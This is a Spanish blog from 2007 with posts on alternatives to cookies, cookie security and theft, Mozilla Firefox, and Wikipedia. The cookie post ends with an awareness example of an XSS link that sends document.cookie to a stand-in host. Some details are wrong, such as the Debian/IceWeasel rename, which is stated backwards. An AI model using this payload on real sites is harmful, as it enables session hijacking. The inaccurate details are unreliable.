e premte, 6 korrik 2007

Alternativas a las cookies

La publicación de las cookies de la semana anterior trajo consigo un debate entre varias amistades mías; asegurando un grupo que las cookies eran inseguras y poco efectivas y otros defendiéndolas. Por esta razón ceo que vendría bien analizar las alternativas a las mismas para que ustedes se creen un criterio y decidan el lado que van a apoyar ahora que saben un poco más.

Creo que prima empezar aclarando que algunas de las operaciones que se pueden realizar mediante cookies también se pueden hacer mediante otros mecanismos. Pero como es de suponer, estos tienen sus propios inconvenientes (de lo contrario habrían dejado obsoletas a las cookies). Por esta razón la privacidad sigue siendo hasta nuestros días un problema, utilicemos o no las cookie, las defina o no el servidor.

La primera y que seguro se les ha ocurrido a muchos (otros es probable que la hayan leído) es utilizando la dirección IP, que no es más que almacenar esta dirección del ordenador que solicita las páginas. El reconocimiento de IP está disponible desde los inicios de World Wide Web, debido a que es necesario al descargar páginas que el servidor reconozca la dirección IP del ordenador donde corre el navegador. Está opción puede ser guardada en el servidor, esté o no usando cookies. Pero como ustedes sabrán en algunas redes las direcciones IP son dinámicas (como Infomed), se le asignan al ordenador en el momento de conectarse (un mismo ordenador puede tener diferentes direcciones IP en diferentes sesiones). Esto provoca que sea menos fiable que las cookies en la identificación de un usuario. Sin embargo, esta técnica la podemos hacer más confiable si usamos otra característica del protocolo HTTP: en el momento que un usuario solicita una página porque ha seguido un link, la petición que se envía al servidor contiene la URL de la página donde el link estaba localizado. Si el servidor almacena esas URL, se puede rastrear el camino de páginas visitadas por el usuario de forma más precisa. Pero he aquí otro inconveniente: varios usuarios en un mismo ordenador pueden acceder a la misma página y después seguir links diferentes, lo que hace este “rastreo” menos fiable; y digo rastreo porque está técnica solo permite eso y no puede reemplazar a las cookies en sus otros usos.

Pero pese a esto puede que algunos todavía piensen que se puede usar la dirección IP, pues bien, les diré que es imposible en algunos sistemas que se utilizan precisamente para mantener el anonimato en Internet, tales como Tor (-The Onion Router- es una implementación libre de un sistema de encaminamiento llamado onion routing que permite a sus usuarios comunicarse en Internet de manera anónima). Con sistemas como este, el navegador utiliza varias direcciones IP a lo largo de una sesión.

Otra técnica más precisa es la URL (query string), que consiste en incrustar información en la URL. El mecanismo de sesión de PHP utiliza este método si las cookies no están habilitadas. Consiste en que el servidor web añade query strings a los enlaces de la página web que contiene, a la hora de servirla al navegador. Cuando el usuario sigue un enlace, el navegador devuelve al servidor la query string añadidos a los enlaces. Usándolas de esta forma, si nos damos cuenta son muy parecidas a las cookies, siendo ambas porciones de información definidos por el servidor y devueltas por el navegador posteriormente. Pero ahora veamos las diferencias y desventajas de la query string. Si un usuario accede a una página 2 veces, no hay seguridad que utilice la misma query string; tal es el ejemplo siguiente: se accede a una página a través de otra que se encuentre en el mismo servidor y a través de un buscador --> las query string serán normalmente diferentes, mientras las cookies serian iguales. Recordando lo hablado referente a la fijación de sesión (en el artículo cookies de la semana pasada) se puede decir que una query string simplifica dichos ataques, por lo que en esta parte de seguridad las cookies son más seguras (disculpen la redundancia pero la creo necesaria).

Veamos ahora la Autenticación HTTP, para esta autenticación el protocolo HTTP incluye mecanismos tales como el digest access authentication, que permite acceder a una página web sólo cuando el usuario ha facilitado un nombre de usuario y contraseña correctos. Después de este acceso el navegador guarda esta información y la utiliza para acceder a las páginas siguientes sin intervención de usuario, para nosotros es lo mismo que las cookies, pero en cada acceso a una página el navegador se encarga de enviar nuevamente estos datos, por lo que si alguien estuviese escuchando este tráfico podría leer esta información y almacenarla para su uso posterior, además de que normalmente tras un tiempo de inactividad estas sesiones expiran.

Ahora pasemos a una alternativa que pocos conocen, y tal es el caso de Objetos Macromedia Flash almacenados localmente. Si un navegador incluye el plugin de Macromedia Flash Player, se puede utilizar la función -Local Shared Objects- del mismo, de una forma muy similar a las cookies. El tamaño máximo por defecto de los objetos es 100 kb y casi todos los usuarios de Windows tienen Flash Player instalado, de forma que los Local Shared Objects pueden estar habilitados cuando las cookies no lo están. Aquí una alternativa que a mi parecer es de las mejores, aunque existen usuarios novatos en la actualidad que no tienen este plugin en el navegador.

Otra alternativa y la última que conozco es Persistencia en el cliente, que no es más que un mecanismo de persistencia que algunos navegadores web soportan, basado en script que permite que la página almacene información localmente para su uso posterior. Internet Explorer, por ejemplo, soporta información persistente en el historial del navegador, en los favoritos, en un almacenamiento XML, o directamente en una página web guardada en disco.

Seguridad en la navegación [cookie]

¿A quien no le ha pasado que un sitio le pide que elimine los cookies, o en el navegador ve esa palabra? Pues bien después de cansarme de no entender que era eso me di a la tarea de leer un poco, y después de tomar mis notas creí que podría ayudar a otros de la comunidad BlackHat. Una cookie es un fragmento de información que se almacena en el disco duro de todo aquel que visite una página web a través de su navegador, a petición del servidor de la página (Esta información puede ser luego recuperada por el servidor en posteriores visitas).

Un poco de historia siempre viene bien, así que les diré que fueron creadas por Lou Montulli, un antiguo empleado de Netscape Communications, y el término "cookie" deriva de "cookie mágica". Se empezaron a usar a partir de junio de 1994 como Cookies mágicas cuando su creador (Montulli) dio uso de ellas en las comunicaciones Web. En un inicio eran aceptadas por los navegadores por defecto (by default) y muchos usuarios desconocían de la existencia de las mismas y no eran notificados por el navegador.

Pero aún no sabemos que “hacen” en los navegadores ni sus funcionalidades. Pues bien, los usos más frecuentes de las cookies son llevar el control de usuarios (Seguramente muchos de nosotros después de registrarse en un servidor no se ha puesto a pensar como nos reconoce cuando viajamos dentro las páginas del mismo, pues bien, eso es porque se almacena una cookie. Sin embargo una cookie no identifica a una persona, sino a una combinación de ordenador y navegador), otro uso es saber (conseguir) los hábitos de navegación del usuario e intentos de spyware, por parte de agencias de publicidad y otros. Este último uso es el que lleva a las cookies a hacerlas algo inseguras, causando posibles problemas de seguridad. Otro uso de las cookies es identificarse en un sitio web. Los usuarios normalmente se identifican introduciendo sus datos en una página de validación; las cookies permiten al servidor saber que el usuario ya está validado, y por lo tanto se le puede permitir acceder a servicios o realizar operaciones que están restringidas a usuarios identificados, tal es el ejemplo de Wikipedia (la enciclopedia libre), sus páginas permiten a los usuarios logueados (identificados) elegir un estilo de presentación a su gusto entre otras cosas.

Una posible interacción entre un navegador web y un servidor, en la que el servidor envía una cookie al navegador y el navegador la devuelve cuando solicita otra página.

Como decíamos anteriormente, las cookies son trozos de datos arbitrarios definidos por el servidor web y enviados al navegador, quien posteriormente los devuelve sin modificar al servidor. Las cookies también pueden ser definidas por un script en un lenguaje como JavaScript, si éste está soportado y habilitado en el navegador web. Ahora bien, supongamos que estamos comprando un ordenador en la Web (sería fantástico hacerlo desde nuestro país), y de cada página vamos adquiriendo las piezas que queremos, una página de tarjetas de video, una de memorias RAM, etc…, así hasta tenerla lista; en ese caso si el programador del sitio quisiera, podría crear una cookie que nos permitiera saber todo lo que hemos adquirido, incluso si cerrásemos el navegador sin realizar la compra y nos conectamos más tarde tendríamos conocimientos de la selección anterior (gracias a la cookie) para evitarnos buscar los componentes de nuevo. Esta cookie sería creada con fecha de borrado según el deseo del diseñador del sitio web, en cuyo caso la cookie será borrada en esa fecha. De lo contrario, si no se define una fecha de borrado, la cookie es borrada cuando el usuario cierra su navegador. Por lo tanto, definir una fecha de borrado es una manera de hacer que la cookie sobreviva entre sesiones. Por esta razón, las cookies con fecha de borrado se llaman persistentes.

No conozco ningún navegador que no soporte las cookies (no significa que no haya), sin embargo los usuarios pueden elegir si las cookies deberían ser utilizadas o no. Las opciones más comunes que nos ofrecen los navegadores son:

  • Las cookies no se aceptan nunca.
  • El navegador pregunta al usuario si se debe aceptar cada cookie.
  • Las cookies se aceptan siempre.

En fin, nosotros como usuarios podemos aceptar alguna de las siguientes opciones:

· rechazar las cookies de determinados dominios.

· rechazar las cookies de terceros (ver más abajo).

· aceptar cookies como no persistentes (se eliminan cuando el navegador se cierra).

· permitir al servidor crear cookies para un dominio diferente.

· Además, los navegadores pueden también permitir a los usuarios ver y borrar cookies individualmente.

Un pequeño artilugio que pocos conocen es ver las cookies que están activas en una determinada página (para la mayoría de los navegadores que soportan JavaScript), solo tienen que escribir en el campo de dirección: javascript:alert("Cookies: "+document.cookie)

Desde su aparición en Internet no ha dejado de circular ideas equivocadas acerca de las cookies. En el año 2005, Jupiter Research publicó los resultados de un estudio según el cual un importante porcentaje de entrevistados creían cierta alguna de las siguientes afirmaciones:

· Las cookies son similares a gusanos y virus en que pueden borrar datos de los discos duros de los usuarios;

· Las cookies son un tipo de spyware porque pueden leer información personal almacenada en el ordenador de los usuarios;

· Las cookies generan popups;

· Las cookies se utilizan para generar spam;

· Las cookies sólo se utilizan con fines publicitarios.

Ahora, basándonos en la opinión de estas personas y conociendo un poco ya lo que son las cookies, vamos a hacer una pequeña reflexión. Las cookies son solo datos (no códigos), por tanto no pueden borrar ni leer información del ordenador de los usuarios. Eso sí, las cookies permiten detectar las páginas visitadas por un usuario en un sitio determinado o conjunto de sitios y esta información puede ser recopilada en un perfil de usuario. Normalmente estos perfiles son anónimos (no contienen información personal del usuario -nombre, dirección, etc.-), y eso es porque no hay manera de obtenerla a menos que el mismo usuario la haya escrito en alguno de los sitios visitados.

Según el mismo informe, un gran porcentaje de los usuarios de Internet no saben cómo borrar las cookies.

Continuemos con un poco sobre privacidad e introduzcamos que son las cookies de terceros. Una página web puede contener imágenes y otros componentes almacenados en servidores de otros dominios, las cookies que se crean durante las peticiones de estos componentes se llaman cookies de terceros.

Bien, basémonos en este ejemplo ficticio, supongamos que los cuadros de arriba son dos páginas web, una en Wikipedia y otra de la CIA, una compañía que está publicando ha puesto banners (propaganda o anuncio) en dos sitios Web (que no muestran ningún banner real).

Subiendo la imagen del banner en sus servidores y usando cookies de terceros, la compañía que publica es capaz de seguir la búsqueda de usuarios a través de estos dos sitios. Las compañías publicitarias utilizan cookies de terceros para realizar un seguimiento de los usuarios a través de múltiples sitios donde han colocado sus imágenes publicitarias o web bugs, y así dirigir su publicidad según las supuestas preferencias del usuario.

Comúnmente nosotros tenemos en la casa, centro de trabajo o estudio más de un navegador, que pueden se IE y Firefox, IE y Opera, y muchas más combinaciones. Esto trae consigo otro problema relacionado con las cookies, y es que cada navegador tiene su propio almacenamiento de cookies. Entonces caemos en algo referido anteriormente, solo que ahora lo ampliaremos un poco más: “las cookies no identifican a una persona, sino a una combinación de cuenta de usuario, ordenador y navegador”. De esta manera, cualquiera que utilice varias cuentas, varios ordenadores, o varios navegadores, tiene también múltiples conjuntos de cookies, estas no diferencian entre varias personas que utilicen el mismo ordenador o navegador, si éstos no utilizan diferentes cuentas de usuario.

En el Opera, las cookies son guardadas en:

C:\\Archivos de Programas\Opera\Profile\cookies4.dat

En el Internet Explorer en:

C:\\Documents and Settings\FAMILIA\Cookies

Y así cada navegador en una carpeta diferente.

He aquí otro problema al que nos enfrentamos cuando navegamos en la red de redes, y es el robo de cookies, que no es más que el proceso que permite a una parte no autorizada a recibir una cookie, y la encriptación no sirve contra este tipo de ataque. Cuando las cookies son enviadas sobre sesiones HTTP normales son visibles a todos los usuarios que pueden escuchar en la red utilizando un sniffer de paquetes, este problema se puede resolver mediante el uso de https, que invoca seguridad de la capa de transporte para cifrar la conexión.

Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que no deberían acceder a ellas. Esta posibilidad es explotada normalmente por atacantes de sitios que permiten a los usuarios el envío de contenido HTML. Introduciendo un segmento de código adecuado en un envío HTML, un atacante puede recibir las cookies de otros usuarios. El conocimiento de estas cookies puede después ser explotado mediante la conexión a los sitios en los que se utilizan las cookies robadas, siendo así identificado como el usuario a quien se le robaron las cookies. Un ejemplo de esto lo veremos al final.

Ahora veamos al problema de la falsificación de cookies utilizando el ejemplo que he empleado de la compra de un ordenador. En teoría como hemos dicho las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, ¿pero que pasaría si al tener la cookie almacenada del sitio al que accedí varío el precio total y en vez de pagar el precio real del ordenador, pago solo una ínfima parte? A este proceso de modificar el valor de las cookies se denomina falsificación de cookies y a menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Pero por seguridad, la mayoría de los sitios web solo almacenan en la cookie un identificador de sesión (un número único utilizado para identificar la sesión del usuario) y el resto de la información se almacena en el propio servidor. En este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Las cookies entre sitios (cross-site cooking) funciona similar a la falsificación de cookies, pero el atacante se aprovecha de usuarios no malintencionados con navegadores vulnerables, en vez de atacar el sitio web directamente. El objetivo de estos ataques puede ser realizar una fijación de sesión (robo de sesión en un sitio web). Por eso cada sitio debe tener sus propias cookies, de forma que un sitio blackhat.org no tenga posibilidad de modificar o definir cookies de otro sitio como whitehat.org. Las vulnerabilidades de -cross-site cooking- de los navegadores permiten a sitios maliciosos romper esta regla.

Ahora pasemos a ver la implementación de una cookie. A pesar de las cookies, los exploradores piden una página a los servidores enviándoles un texto corto llamado “solicitud de HTTP” (HTTP request). Una petición luciría así:


GET http://www.w3.org/index.html HTTP/1.1
Accept: */*


browser

server

El servidor responde al enviar la página pedida precedida por un texto similar, llamado encabezado HTTP (HTTP header). Este paquete puede contener líneas haciéndole al explorador una petición para que guarde cookies:


HTTP/1.1 200 OK

Content-type: text/html

Set-Cookie: name=value

(content of page)


explorador

servidor

La línea Set-cookie es solo enviada si el servidor desea que el explorador guarde las cookies. De hecho, es una petición al explorador el guardar la secuencia de caracteres nombre=valor (name=value) y enviarla de vuelta en cualquier otro futuro pedido del servidor. Si el explorador soporta cookies y las cookies están admitidas, toda petición de cada página subsecuente al mismo servidor va a contener la misma cookie.

Por ejemplo, el explorador pide la página http://www.w3.org/spec.html enviando al servidor www.w3.org un pedido que se asemeja al siguiente:


GET /spec.html HTTP/1.1

Cookie: name=value

Accept: */*


explorador

servidor

Este es un pedido para otra página del mismo servidor, y se diferencia del primero porque contiene la secuencia que el servidor había previamente enviado al explorador. Por ende, el servidor sabe que este pedido está relacionado con el previo. El servidor responde al enviar la página pedida, posiblemente añadiendo otras cookies también.

El valor de la cookie puede ser modificada por el servidor al enviar una nueva línea Set-Cookie: name=newvalue en respuesta al pedido de la página. El explorador entonces reemplaza el viejo valor con el nuevo.

Las cookies también pueden ser seteadas (como lo decimos a diario y se deriva de set) por JavaScript o scripts similares en el explorador. En JavaScript, el objeto document.cookie es usado para este propósito. Por ejemplo, la instrucción document.cookie = "temperatura=20" crea una cookie de nombre temperatura y valor 20.

Para finalizar veamos un pequeño ejemplo de como nos pueden hacer para recoger nuestras cookies. Primero debo aclarar que este ejemplo no es en absoluto con la idea de que se ponga en práctica, es solo para ampliar el conocimiento y evitar que seamos timados. Si algún lector lo utiliza para algo más, que sepan que esa no era la idea del artículo.

En particular, algunos scripting languages (lenguaje scripting) tales como JavaScript y JScript usualmente permiten acceder a los valores de las cookies y tienen diversas maneras de enviar valores arbitrarios a servidores arbitrarios en Internet. Este hecho es usado en combinación con sitios que permiten a los usuarios postear contenido HTML que otros usuarios pueden ver.

Por ejemplo, un atacante en el dominio ejemplo.com puede postear un comentario que contenga el siguiente link a un popular blog que ellos no tengan control sobre él:

href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!


Cuando otro usuario clickee sobre este link, el navegador ejecuta la parte del código dentro del atributo onclick, de esta manera reemplaza la cadena de caracteres document.cookie con la lista de los cookies que están activas en la página. Como resultado esta lista de cookies es enviada al servidor ejemplo.com, y el atacante esta libre de recoger los cookies de otros usuarios.

Este tipo de ataque es difícil de detectar de parte de los usuarios, debido a que los scripts vienen desde el mismo dominio donde han sido seteados los cookies, y la operación de enviar el valor aparece como autorizada por este dominio. Esto es usualmente considerado responsabilidad de los administradores.

e diel, 24 qershor 2007

Mozilla Firefox

Este artículo está destinado a conocer este navegador tan difundido en los últimos tiempos y para algunos uno de los mejores (es el que yo uso para trabajar de cualquier lugar, siempre lo traigo en la versión portable). El nombre le sugiere a las personas que se está hablando de un zorro de fuego o zorro rojo (traducción bastante literal del inglés Firefox, y que no está mal). Para todos aquellos que utilizan el navegador del “zorro rojo”, quiero corregirlos diciéndoles que este logo representa un Panda rojo (Ailurus fulgens) estilizado (según el Mozilla FAQ) al igual que el nombre (Firefox: Nombre en inglés para el Panda rojo). Este logotipo fue elegido al no tener ilustraciones exageradas.

Pero para el que aún no sabe de qué va este artículo les digo que Mozilla Firefox es un navegador de Internet, con interfaz gráfica de usuario desarrollado por la Corporación Mozilla y un gran número de voluntarios externos. Firefox, oficialmente abreviado como Fx o fx, y comúnmente como FF, comenzó como un derivado del Mozilla Application Suite, que terminó por reemplazarlo como el producto principal del proyecto Mozilla, bajo la dirección de la Fundación Mozilla.

Es un navegador web multiplataforma, que está disponible en versiones para Microsoft Windows, Mac OS X y Linux. Sin embargo el código ha sido portado por terceros a otros sistemas operativos como FreeBSD, OS/2, Solaris, SkyOS, BeOS y más recientemente, Windows XP Professional x64 Edition.

El código fuente de Firefox está disponible libremente bajo la triple licencia de Mozilla como un programa libre y de código abierto. La versión estable actual es la 2.0.0.4, que fue liberada el 30 de mayo de 2007.

Se basa en el motor XULRunner, desarrollado en su mayor parte utilizando el lenguaje XUL. Comenzó como un fork (bifurcación) del navegador de la Mozilla Application Suite, y se ha convertido en el principal foco de desarrollo de la Fundación Mozilla junto con el cliente de correo electrónico y lector de noticias (Thunderbird).

Firefox incorpora bloqueo de ventanas emergentes, navegación por pestañas, marcadores dinámicos, soporte para estándares abiertos, y un mecanismo para añadir funcionalidades mediante extensiones. Aunque otros navegadores también incluyen estas características, Firefox fue el primero en incluir algunas de ellas y conseguir una amplia difusión.

A mi entender la principal razón y obstáculo por la que algunos usuarios desconocen alternativas de navegadores (y otros tantos programas) es que algunos como Internet Explorer de Microsoft y Safari de Apple son incluidos por defecto en sus respectivos sistemas operativos.

Sus inicios

En la primavera de 2002, aparece una rama experimental del proyecto Mozilla, conducido por David Hyatt y Blake Ross, el nombre original del proyecto fue mozilla/browser, rápidamente cambiado por Phoenix, pero este no fue su nombre final como conocemos hoy día, pasó por nombres como Firebird, Firebird Browser y Mozilla Firebird, no fue hasta el 9 de febrero de 2004 que fuera rebautizado como Firefox (nombre común del panda rojo).

Versiones finales

La utilización de XUL hace posible la extensión de las capacidades del navegador a través de la utilización de temas gráficos y extensiones; sin embargo, el proceso de desarrollo e instalación de estas adiciones planteó también problemas potenciales de seguridad. Por ello con la salida de Firefox 0.9, la Fundación Mozilla abrió un sitio Web « Mozilla Update » que contenía temas y extensiones « aprobados ».

La versión 1.5 se publicó el 29 de noviembre de 2005 con numerosas mejoras como el soporte para los nuevos estándares SVG, CSS 2, CSS 3 y JavaScript 1.6; actualizaciones de software progresivas; reordenamiento de pestañas usando arrastrar y soltar; mayor seguridad y mejor usabilidad.

La versión 2.0 fue publicada el 24 de octubre de 2006. Conocida en su desarrollo como Bon Echo, esta versión trajo novedades como:

Ø Nuevas características anti-phishing.

Ø Nuevas opciones ocultas para configurar la muestra de pestañas.

Ø Registro de pestañas recientes y la habilidad de deshacer pestañas cerradas.

Ø Restauración automática de la sesión de navegación del usuario en caso de caída del sistema.

Ø Tema por defecto nuevo, con nuevos iconos y barra de tabs.

Ø Soporte para texto con gráficos vectoriales escalables, SVG usando svg:textPath.

Ø Nuevo instalador con ventanas usando el Nullsoft Scriptable Install System (NSIS).

Ø Integración de una función para administrar los motores de la barra de búsqueda.

Ø Agregado un botón similar a «Ir», de la barra de direcciones, pero que sirve sólo para la caja de búsqueda.

Ø Lector de feeds, que muestra un «microsumario» con los últimos feeds del sitio a sindicar, además de una opción para elegir si sindicarlo con Firefox, con una aplicación externa o con un servicio web.

Ø Corrector ortográfico, que subraya las palabras que no reconocen los diccionarios que se descargan e instalan en esta aplicación.

Ø Sesión por parte del cliente y almacenamiento persistente.

El ícono de Firefox es una marca registrada usada para denotar el soporte oficial de la Fundación Mozilla a Firefox. Así, aunque el software en el que se basa Firefox es de código abierto, las ilustraciones no son de licencia libre; por ello, los distribuidores de software que distribuyen versiones parcheadas o modificadas de Firefox no pueden usar el icono, pero, como la filosofía del software libre que está Firefox, la fundación Mozilla no entablará acciones legales a quienes usen la imagen de Firefox en programas que utilicen su código, en especial si añaden alguna mejora, como Firefox Portable.

Características del navegador

La navegación mediante pestañas era uno de los principales argumentos de Firefox para atraer a los usuarios de su principal rival Internet Explorer. Consiste en poder abrir en una sola ventana del programa varias páginas a la vez, pudiendo ir de una a otra a través de sendas pestañas (o fichas). De este modo, la navegación resulta más cómoda y organizada y se consumen menos recursos en el equipo, se pueden definir un grupo de pestañas como páginas de inicio.

Firefox incluye un bloqueador de ventanas emergentes integrado personalizable; por defecto, bloquea todas las ventanas emergentes que considere no solicitadas de cualquier página. Además, permite definir el nivel de protección ante las ventanas emergentes en cada caso.

Soporte de los estándares de programación

Como medida prudencial que ha causado controversia, Firefox no incluye compatibilidad alguna con los sistemas ActiveX (soportados por Internet Explorer y extendidos en extranets administrativas y páginas web interactivas). La mayoría de infecciones e intrusiones no permitidas al sistema Microsoft Windows son causadas por los controles ActiveX que permiten tener un control total sobre el sistema del visitante. Si bien esto puede ser una ventaja para ciertas aplicaciones, también es una vía libre, según Mozilla y los expertos en seguridad informática, para la entrada de multitud de programas dañinos a nuestro sistema.

Firefox, sin embargo, es compatible con Java, una alternativa potente, para soluciones de interacción avanzadas con el usuario.

El navegador incluye la opción de almacenar sitios de la preferencia del usuario (como los Favoritos de Internet Explorer), lo que facilita la navegación de sitios visitados con frecuencia. Además, dentro de los marcadores, está la opción de palabra clave (keyword) para que el usuario escriba sólo una palabra en la barra de direcciones y el navegador comience a cargar el sitio. Puede añadirse a Firefox una barra de herramientas con algunos marcadores a los fines de acceder a los sites correspondientes de manera más rápida. Una ventaja de los keyword es el reemplazo de texto, ideal para búsquedas rápidas.

Un ejemplo

Hacer un marcador para buscar en Wikipedia:

Nombre: Wikipedia, la enciclopedia libre

Dirección: http://es.wikipedia.org/wiki/Special:Search?search=%s

Palabra Clave: wiki

De esta forma, al escribir 'wiki gatos el navegador buscará en Wikipedia el artículo llamado gatos.

Personalización

Al igual que otros navegadores basados en Mozilla, Firefox incluye un sistema propio de extensiones, que pueden ser instaladas por sus usuarios para personalizar el aspecto y comportamiento del navegador.

Estas extensiones, al igual que el propio navegador, se escriben en XUL, por lo que pueden modificar cualquier aspecto del interfaz y gran parte de la presentación de las páginas, así como agregar funcionalidades.

Firefox cuenta con cerca de mil setecientas extensiones, algunas de ellas son Gmail Notifier (muestra el estado de la bandeja de entrada de las cuentas de correo de Gmail y avisa si hay correos nuevos), Mouse Gestures (permite abrir enlaces, abrir y cerrar ventanas y pestañas del navegador con simples movimientos del ratón), DownThemAll! ( Gestor de descargas muy completo, y no dependiente de otros gestores de descargas instalados en el sistema), Flashgot (permite utilizar programas gestores de descargas con Firefox).

Aunque no se consideren extensiones, existen también programas complementarios para Firefox que ayudan a que éste navegue o se cargue más rápido en el ordenador. Estos programas son: FirefoxPreloader (AceleraCargaFirefox) y firetune (acelera navegación).

Firefox incluye de serie un buscador integrado en la interfaz que hace búsquedas en Google y en otros buscadores localizados para el idioma de la traducción. También permite la opción de añadir buscadores de la base de datos online de Mycroft. Entre los buscadores también se puede añadir a Wikipedia como buscador en distintos idiomas.

También existen temas que son skins (apariencias) para las aplicaciones Mozilla. Te permiten cambiar la apariencia de la interfaz de usuario y personalizarlo a tu gusto. Un tema puede cambiar simplemente el color de la UI o puede cambiar toda su apariencia. Para crear un tema para Firefox necesitas saber tres cosas: como editar imágenes, como extraer archivos zip y como modificar CSS (para saber más ver enlaces al final).

Aplicaciones y otras características

En vez de escribir una URL completa, prueba escribir una frase que describa dónde quieres ir en tu barra de direcciones. Por ejemplo prueba con Quijote, El País, o Yahoo Mail, y luego pulsa la tecla Enter. La barra de direcciones usa la herramienta de Google Voy a tener suerte, con lo cual te llevará directo al sitio que estás buscando.

Se incluye también con el paquete oficial, un sistema de gestión de descargas que permite descargar numerosos archivos simultáneamente, abrirlos una vez que han finalizado y pausarlos para descargas de archivos robustos.

Firefox lleva incorporadas dos herramientas de desarrollo web: un inspector DOM y una consola JavaScript. Los seguidores de Firefox dicen que ningún otro navegador incluye el inspector DOM, y que la consola JavaScript de Firefox sobrepasa a cualquiera de las disponibles en otros navegadores. Aunque no se instalan por defecto, las herramientas están disponibles mediante la instalación personalizada.

Firefox soporta varias extensiones que ayudan al desarrollo web, como el potente depurador de JavaScript Venkman.

Todas las opciones pueden ser configuradas introduciendo en la barra de direcciones about:config.

Firefox está soportado también en AJAX (JavaScript Asíncrono y XML), que es un término nuevo para describir dos capacidades de los navegadores que han estado presentes por años, pero que habían sido ignoradas por muchos desarrolladores Web, hasta hace poco que surgieron aplicaciones como Gmail, Google suggest y Google Maps.

Las dos capacidades en cuestión son:

· La posibilidad de hacer peticiones al servidor sin tener que volver a cargar la página.

· La posibilidad de analizar y trabajar con documentos XML.

Este navegador también se le puede incorporar plugins (o plug-ins) que no son más que pequeños fragmentos de software que interactúan con el navegador para proporcionar algunas funciones que en la mayoría de los casos son muy específicas. Los plugins son ligeramente diferentes de las Extensiones, que modifican o se añaden a funcionalidades ya existentes.

Críticas

Tiempo en cargar

Algunos opinan que Firefox tarda más tiempo en cargar que otros navegadores, como Opera o Internet Explorer en Windows. Otros navegadores basados en Gecko como K-Meleon, que usa implementaciones de interfaz de usuario de plataforma nativa, generalmente se ejecutan más rápidamente que Firefox. Sobre el sistema operativo Microsoft Windows, esto puede ser remediado usando la utilidad de código abierto FFPreloader.

Uso de memoria

Algunos usuarios se quejan argumentando que Firefox consume más memoria que otros navegadores. Se refieren a ello como «memory leaks» (fuga de memoria). Los desarrolladores de Mozilla mantienen que en ocasiones, al menos en parte, se debe a un efecto de la opción de avance y retroceso rápido, que en casos extremos, puede llegar a utilizar hasta 4 GB de memoria RAM. Otras de las razones conocidas para los problemas con la memoria, son culpa del mal funcionamiento de algunas extensiones, como la «Barra de herramientas de Google» y «Adblock» (bloqueador de publicidad).

Visualización

Los usuarios que vienen desde Internet Explorer notan que algunos sitios no se visualizan como se esperaba en Firefox. Sin embargo, esto es un problema raro y no específico de Firefox que es causado por los sitos webs que no siguen los estándares W3C. Tales como, códigos específicos para Internet Explorer, utilizando controles ActiveX o VBScript, los cuales son tecnología propietaria de Microsoft y no utilizan estándares W3C.

Hay una extensión para Firefox llamada "IE Tab" que permite utilizar el motor de renderizado de Internet Explorer dentro de una pestaña de Mozilla Firefox, esta versión sólo está disponible para el sistema operativo Windows.

Como Mozilla Firefox no se suministra de manera oficial en un paquete MqSI (aunque ha sido creado uno por terceros), los administradores que quieren instalar Firefox en varios ordenadores tienen que instalarlo manualmente en cada ordenador.

Respuesta de la competencia

A pesar de la progresión en el uso de Mozilla Firefox, el portavoz australiano de operaciones de Microsoft, Steve Ballmer, declaró que no veía a Firefox como a una amenaza y que no había una demanda significante para el conjunto de características de Firefox entre los usuarios de Microsoft, declarando que él personalmente nunca lo usó.

Derivados

Firefox Portable

Firefox Portable (antes, Portable Firefox) es una versión portátil reempaquetada de Firefox diseñada para funcionar en un dispositivo USB con memoria flash, iPod, disco duro externo o cualquier otro dispositivo portátil. Incluye un lanzador especializado que ajusta las extensiones y temas para que funcionen al pasar de un ordenador a otro. También utiliza compresión (cortesía de UPX y 7-Zip) para reducir el espacio requerido para el almacenamiento.

Desde su versión 1.2.1.1, Firefox Portable Launcher soporta un funcionamiento en CD-R y otros dispositivos de sólo lectura. Varias aplicaciones ya utilizan Firefox Portable Live para ofrecer un navegador y contenido basado en HTML desde el CD.

Ya se ha realizado una distribución completa de Firefox y funciona en la plataforma PDA basada en GNU/Linux Sharp Zaurus bajo entorno pdaXrom.

Haciendo un aparte quisiera tomar un momento un tema que puede confundir a algunos, es probable que algunos de ustedes hallan oído hablar de IceWeasel, pues bien, eso no es más que un fork de Firefox creado por el proyecto Debian por una disputa que mantuvo con la fundación Mozilla. Ésta última decía que Debian no podía distribuir un paquete llamado Firefox sin incluir el logo oficial y, además, pedía a Debian que le enviara todos los parches que aplicasen a Firefox. Debian se negó a incluir el logotipo oficial y a enviar los parches a la fundación Mozilla, por lo que Debian tuvo que cambiar el nombre de IceWeasel a Firefox.

Versiones en Desarrollo

Versión 3.0

El nombre de desarrollo de Mozilla Firefox 3.0 es Gran Paradiso y las tiradas son actualmente nombradas Minefield al ser éste el nombre de la versión troncal. Gran Paradiso como otros nombres de desarrollo de Firefox es el nombre de un parque nacional en Italia. La versión beta de Firefox 3.0 estará para el primer cuatrimestre del 2007.

Debido a la decisión de Microsoft de finalizar el soporte para Windows 98 y Windows Me el 11 de julio del 2006 y porque Cairo no soporta Windows 95 y Windows NT 4.0, Firefox 3.0 no funcionará en esos sistemas operativos.

Versión 4.0

El 13 de octubre de 2006 el oficial jefe de tecnología de Mozilla, Brendan Eich, escribió acerca de los planes para Mozilla 2.0, la plataforma sobre la cual Firefox 4.0 debería basarse. Los cambios en esta versión incluyen la eliminación del API XPCOM, el cambio a características estándar de C++, compilación Just-in-Time de JavaScript 2 (conocido como proyecto Tamarin) y seguridad en tiempo de ejecución.

Creo que antes de finalizar debo mostrar una tabla con algunas informaciones acerca de navegadores conocidos por nosotros para que así pueda usted hacer su comparación (esta son solo algunas características).

Wikipedia

«La enciclopedia libre que todos podemos editar», es el lema del que considero uno de los mayores logros de la red Infomed. Wikipedia, enciclopedia plurilingüe basada en la tecnología wiki, es escrita de forma colaborativa por voluntarios, permitiendo que la gran mayoría de los artículos sean modificados por cualquier persona con acceso mediante un navegador web, es desde hace bastante tiempo uno de los accesos a páginas internacionales más notables que tenemos a nuestra disposición, sin embargo no oigo a muchos usuarios de la red cubana de salud hablar de ello. No se si es un problema de desconocimiento, solo he podido apreciar el poco uso que se le da. Sin embargo, desde su concepción Wikipedia no sólo ha ganado en popularidad sino que su éxito ha propiciado la aparición de proyectos hermanos.

